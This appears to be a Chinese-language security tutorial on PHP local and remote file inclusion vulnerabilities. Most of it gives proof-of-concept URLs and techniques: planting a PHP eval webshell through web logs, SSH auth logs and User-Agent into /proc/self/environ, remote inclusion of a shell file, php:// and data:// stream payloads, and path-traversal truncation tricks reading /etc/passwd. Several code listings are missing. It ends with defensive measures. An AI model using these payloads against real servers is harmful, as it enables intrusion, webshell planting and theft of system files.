漏洞成因
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
PHP文件包含漏洞代码
以上代码保存为 http://www.test.com/index.php
本地文件包含
包含系统文件
windows

linux
普通权限:

root权限:
获取webshell
包含web日志文件
1 访问连接 http://www.test.com/<?php eval(POST_['test']) ?>
2 使用菜刀连接 http://www.test.com/index.php?func=/var/log/apache/access.log
这种方式有一个弊端,由于access的日志文件比较大,所以webshell可能会很慢甚至卡死
包含ssh登入日志
如果web服务器开启了ssh,且我可以使用putty连接其端口,我们可以尝试连接,使用<?php eval(POST_['test']) ?>作为用户名,然后在登录失败后,用户名会被记录在ssh的失败登入日志(/var/log/auth.log)中,我们可以包含这个日志文件获取webshell。
包含环境变量
我们在user-agent中插入一句话,然后访问web服务器,在/proc/self/environ中会包含我们的user-agent信息,然后我们可以包含该文件获取webshell。下面是该文件的内容:
包含用户上传文件
包含图片
用户上传图片功能是web服务网站最常用的功能,没什么好说的
包含压缩包
上传一个包含一句话的rar压缩包,这个功能在php版本大于5.30下可以利用
【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt
远程文件包含
利用方式
包含远程服务器文件
利用条件
需要allow_url_fopen=On并且 allow_url_include=On
POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt
利用PHP流
利用条件
需要allow_url_include=On
利用方式
【POC】 http://www.test.com/index.php?file=php://input
【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
对于有限制的文件包含
包含脚本
<?php include($_GET['file'] . ".htm"); ?>
突破方式
00截断
利用条件
需要 magic_quotes_gpc=off,PHP小于5.3.4有效
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd
超长文件名截断
利用条件
php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
点号截断
利用条件
php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………
防御措施
1 尽量不要用户控制文件包含的参数
2 开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
3 关闭allow_url_include函数,防止远程文件包含。
4 包含文件白名单限制
不同语言有包含功能的函数
PHP
include()
include_once()
require()
require_once()
fopen()
readfile()
jsp
include:
<%@ include file="body.jsp"%>
jsp:include:
<jsp:include page="head.jsp"/>
采用JSTL:
<c:import url="http://thief.one/1.jsp">
asp
<!--#include file="1.asp" -->
aspx
<!--#include file="top.aspx" -->